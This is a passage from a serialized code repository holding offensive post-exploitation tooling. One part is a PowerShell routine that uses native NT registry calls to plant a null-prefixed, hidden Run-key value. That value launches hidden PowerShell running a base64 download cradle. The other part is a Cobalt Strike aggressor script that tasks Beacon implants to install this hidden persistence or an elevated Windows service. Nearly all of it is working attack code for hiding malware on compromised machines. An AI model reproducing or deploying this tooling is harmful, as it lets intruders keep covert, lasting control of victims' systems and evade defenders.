[Activator]::CreateInstance($UNICODE_STRING)\n    $ntdll::RtlInitUnicodeString([ref]$KeyBuffer, $KeyName)\n\n    # Create our OBJECT_ATTRIBUTES structure\n    # We don’t have the InitializeObjectAttributes macro, but we can do it manually\n    $ObjectAttributes = [Activator]::CreateInstance($OBJECT_ATTRIBUTES)\n    $ObjectAttributes.Length         = $OBJECT_ATTRIBUTES::GetSize()\n    $ObjectAttributes.RootDirectory  = [IntPtr]::Zero\n    $ObjectAttributes.Attributes     = $OBJ_ATTRIBUTE::OBJ_CASE_INSENSITIVE\n\n    # Here, we need a pointer to the UNICODE_STRING we created previously.\n    $ObjectAttributes.ObjectName     = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($UNICODE_STRING::GetSize())\n    [System.Runtime.InteropServices.Marshal]::StructureToPtr($KeyBuffer, $ObjectAttributes.ObjectName, $true)\n\n    # These are set to NULL for default Security Settings (mirrors the InitializeObjectAttributes macro).\n    $ObjectAttributes.SecurityDescriptor       = [IntPtr]::Zero\n    $ObjectAttributes.SecurityQualityOfService = [IntPtr]::Zero\n\n    $status = $ntdll::NtOpenKey([ref]$KeyHandle, $DesiredAccess, [ref]$ObjectAttributes)\n    \"OpenKey status: 0x{0:x8}\" -f $status\n\n    # Next, let's create our hidden value key and its data\n    # Our hidden value key name will be \"\\0abcd\" and its data will be an alert box that triggers\n    # Note that the Null character in PowerShell is `0\n    $ValueName = \"`0pwned\"\n\n    $Command = '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -nop -w hidden -c \"'\n    $Payload = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Cradle))\n\n    $ValueData += $Command\n    $ValueData += $Payload\n    $ValueData += '\"'\n\n    Write-Verbose $ValueData\n\n    $ValueNameBuffer = [Activator]::CreateInstance($UNICODE_STRING)\n    $ValueDataBuffer = [Activator]::CreateInstance($UNICODE_STRING)\n\n    # Since RtlInitUnicodeString takes in a null-terminated string (and won't return the correct name),\n    # we'll have to manually create the ValueName UNICODE_STRING.\n    # Allocate enough space for 2-byte wide characters\n    $ValueNameBuffer.Length        = $ValueName.Length * 2\n    $ValueNameBuffer.MaximumLength = $ValueName.Length * 2\n    $ValueNameBuffer.Buffer        = [System.Runtime.InteropServices.Marshal]::StringToCoTaskMemUni($ValueName)\n\n    # ValueData doesn't have any `0 characters, so we're good to use RtlInitUnicodeString\n    $ntdll::RtlInitUnicodeString([ref]$ValueDataBuffer, $ValueData)\n\n    # Fill out the remaining parameters for NtSetValueKey\n    $ValueType  = 0x00000001 # REG_SZ Value Type\n    # \"Device and intermediate drivers should set TitleIndex to zero.\"\n    $TitleIndex = 0\n\n    $status = $ntdll::NtSetValueKey($KeyHandle, [ref]$ValueNameBuffer, $TitleIndex, $ValueType, $ValueDataBuffer.Buffer, $ValueDataBuffer.Length)\n    \"SetValueKey status: 0x{0:x8}\" -f $status\n\n    # uncomment these lines to clean up your registry key\n    # $status = $ntdll::NtDeleteValueKey($KeyHandle, [ref]$ValueNameBuffer)\n    # \"DeleteValueKey status: 0x{0:x8}\" -f $status\n\n    # Free the memory allocated after using AllocHGlobal\n    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ObjectAttributes.ObjectName)\n\n    # Close the handle to the key to clean up after we're done\n    $status = $ntdll::NtClose($KeyHandle)\n    \"CloseKey status: 0x{0:x8}\" -f $status\n\n}"
  },
  {
    "path": "persistence/persistence.cna",
    "content": "sub hkcu_psh {\n\n\t$bid = $1;\n\n\t$dialog = dialog(\"HKCU (PSH) Persistence\", $null, lambda({\n\n\t\t$cradle = $3[\"cradle\"];\n\n\t\tbtask($bid, \"Tasked Beacon to persist via HKCU (PSH)\");\n\n\t\t$script = getFileProper(script_resource(\"persistence\\\\modules\"), \"PSReflect.ps1\");\n\t\tbpowershell_import!($bid, $script);\n\n\t\tbpowerpick!($bid, \"Invoke-RegHide -Verbose -Cradle \\\" $+ $cradle $+ \\\"\");\n\n\t}));\n\n\tdialog_description($dialog, \"Create a PowerShell oneliner at HKCU:SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run, hidden using PSReflect.\");\n\t\n\tdrow_text($dialog, \"cradle\", \"Download Cradle (b64'd): \");\n\tdbutton_action($dialog, \"Let's Rumble\");\n\tdialog_show($dialog);\n\n}\n\nsub service {\n\t\n\t$bid = $1;\n\n\t$dialog = dialog(\"Service Persistence\", $null, lambda({\n\n\t\t$name = $3[\"name\"];\n\t\t$displayname = $3[\"displayname\"];\n\t\t$description = $3[\"description\"];\n\t\t$binpath = $3[\"binpath\"];\n\t\t$startup = $3[\"startup\"];\n\t\t$sid = $3[\"sid\"];\n\n\t\tbtask($bid, \"Tasked Beacon to persist via Windows Service\");\n\n\t\t$script = getFileProper(script_resource(\"persistence\\\\modules\"), \"Invoke-ServicePersistence.ps1\");\n\t\tbpowershell_import!($bid, $script);\n\n\t\tbpowerpick!($bid, \"Invoke-ServicePersistence -Verbose -Name \\\" $+ $name $+ \\\" -DisplayName \\\" $+ $displayname $+ \\\" -Description \\\" $+ $description $+ \\\" -BinPath \\\" $+ $binpath $+ \\\" -StartupType \\\" $+ $startup $+ \\\" -SID \\\" $+ $sid $+ \\\"\");\n\n\t}));\n\n\tdialog_description($dialog, \"Create a Windows Service via the Service Control Manager; specify a user SID to assign start/stop privs.\");\n\n\tdrow_text($dialog, \"name\", \"Service Name: \", \"test\");\n\tdrow_text($dialog, \"displayname\", \"Display Name (opt): \");\n\tdrow_text_big($dialog, \"description\", \"Service Description (opt): \");\n\tdrow_text($dialog, \"binpath\", \"Binary Path: \");\n\tdrow_combobox($dialog, \"startup\", \"Startup Type\", @(\"Manual\", \"Automatic\"));\n\tdrow_text($dialog, \"sid\", \"User SID: \");\n\t\n\tdbutton_action($dialog, \"Let's Rumble\");\n\tdialog_show($dialog);\n\n}\n\npopup beacon_bottom {\n\tmenu \"Persistence\" {\n\t\tmenu \"Userland\" {\n\t\t\titem \"HKCU (PSH)\" {\n\t\t\t\thkcu_psh($1);\n\t\t\t}\n\t\t}\n\t\tmenu \"Elevated\" {\n\t\t\titem \"Service (SYSTEM)\" {\n\t\t\t\tservice($1);\n\t\t\t}\n\t\t}\n\t}\n}"
  }
]